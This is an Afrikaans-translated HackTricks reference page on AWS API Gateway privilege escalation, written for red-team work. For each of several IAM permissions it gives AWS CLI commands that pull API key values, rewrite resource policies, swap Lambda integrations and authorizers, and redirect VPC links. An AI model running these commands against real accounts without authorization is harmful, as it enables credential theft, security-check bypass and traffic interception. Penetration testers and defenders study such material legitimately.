AWS - Apigateway Privesc

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Apigateway

Vir meer inligting, kyk na:

pageAWS - API Gateway Enum

apigateway:POST

Met hierdie toestemming kan jy API-sleutels genereer vir die gekonfigureerde API's (per streek).

aws --region <region> apigateway create-api-key

Potensiële Impak: Jy kan nie voorregverhoging met hierdie tegniek doen nie, maar jy kan moontlik toegang kry tot sensitiewe inligting.

apigateway:GET

Met hierdie toestemming kan jy gegenereerde API-sleutels van die gekonfigureerde API's kry (per streek).

aws --region apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potensiële Impak: Jy kan nie voorregverhoging met hierdie tegniek doen nie, maar jy kan moontlik toegang kry tot sensitiewe inligting.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Met hierdie toestemmings is dit moontlik om die hulpbronbeleid van 'n API te wysig om jouself toegang te gee om dit te roep en potensiële toegang tot die API Gateway te misbruik (soos die aanroeping van 'n kwesbare lambda).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Potensiële Impak: Jy sal gewoonlik nie direk kan privilige-escalasie doen met hierdie tegniek nie, maar jy kan moontlik toegang kry tot sensitiewe inligting.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Benodig toetsing

'n Aanvaller met die toestemmings apigateway:PutIntegration, apigateway:CreateDeployment, en iam:PassRole kan 'n nuwe integrasie byvoeg tot 'n bestaande API Gateway REST API met 'n Lambda-funksie wat 'n IAM-rol aangeheg het. Die aanvaller kan dan die Lambda-funksie aktiveer om willekeurige kode uit te voer en moontlik toegang te verkry tot die hulpbronne wat verband hou met die IAM-rol.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Toegang tot hulpbronne wat verband hou met die IAM rol van die Lambda-funksie.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Benodig toetsing

'n Aanvaller met die toestemmings apigateway:UpdateAuthorizer en apigateway:CreateDeployment kan 'n bestaande API Gateway outentiseerder wysig om sekuriteitskontroles te omseil of arbitrêre kode uit te voer wanneer API-versoeke gemaak word.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Omseiling van sekuriteitskontroles, ongemagtigde toegang tot API-bronne.

Benodig toetsing

'n Aanvaller met die toestemming apigateway:UpdateVpcLink kan 'n bestaande VPC-skakel wysig om na 'n ander Netwerk Lasbalansierer te verwys, wat moontlik private API-verkeer na ongemagtigde of skadelike bronne kan omskakel.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potensiële Impak: Ongeoorloofde toegang tot private API-bronne, onderschepping of ontwrigting van API-verkeer.

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated